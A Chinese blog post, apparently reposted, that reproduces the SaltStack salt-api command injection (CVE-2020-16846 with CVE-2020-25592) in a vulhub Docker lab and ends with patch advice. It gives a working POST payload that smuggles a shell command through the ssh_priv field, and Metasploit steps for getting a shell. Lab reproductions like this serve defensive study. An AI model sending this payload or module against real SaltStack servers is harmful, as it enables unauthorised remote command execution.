小言_互联网的博客

SaltStack命令注入漏洞复现(CVE-2020-16846)

619人阅读  评论(0)

0x00简介

SaltStack是一个服务器基础架构集中化管理平台,具备配置管理、远程执行、监控等功能,基于Python语言实现,结合轻量级消息队列(ZeroMQ)与Python第三方模块(Pyzmq、PyCrypto、Pyjinjia2、python-msgpack和PyYAML等)构建。通过部署SaltStack,我们可以在成千万台服务器上做到批量执行命令,根据不同业务进行配置集中化管理、分发文件、采集服务器数据、操作系统基础及软件包管理等。

0x01漏洞概述

CVE-2020-16846和CVE-2020-25592组合使用可在未授权的情况下通过salt-api接口执行任意命令。CVE-2020-25592允许任意用户调用SSH模块,CVE-2020-16846允许用户执行任意命令。

0x02影响版本

SaltStack 2015/2016/2017/2018/2019/3000/3001/3002

0x03环境搭建

1、本次漏洞手动搭建较为复杂,使用vulhub中的docker环境搭建下载并解压

wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip

unzip vulhub-master.zip

2、进入漏洞目录使用docker-compose启动漏洞环境,看到绿色done表示启动成功

cd vulhub/saltstack/CVE-2020-16846/

docker-compose up -d

3、在浏览器访问https://your-ip:8000这是Salt的API端口。注:需要https访问

0x04漏洞复现

1、在url访问以下链接,使用burp进行抓包并发送到重放模块

https://your-ip:8000/run

2、将get修改为post传输,构造以下数据包写入文件,点击发送

token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=aaa|touch%20/tmp/success%3b

3、返回200ok,进入到docker容器中查看文件成功写入

4、使用msf中的exp进行漏洞利用,启动msf,选择攻击模块,配置信息,使用run或exploit执行,执行后拿到shell

msfconsole

use exploit/linux/http/saltstack_salt_api_cmd_exec

show options

0x05修复建议

1、建议在官方下载安装此漏洞补丁,补丁下载地址:

https://gitlab.com/saltstack/open/salt-patches

2、升级至安全版本,下载地址:

https://repo.saltstack.com/


转载:https://blog.csdn.net/m0_48520508/article/details/114395239
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场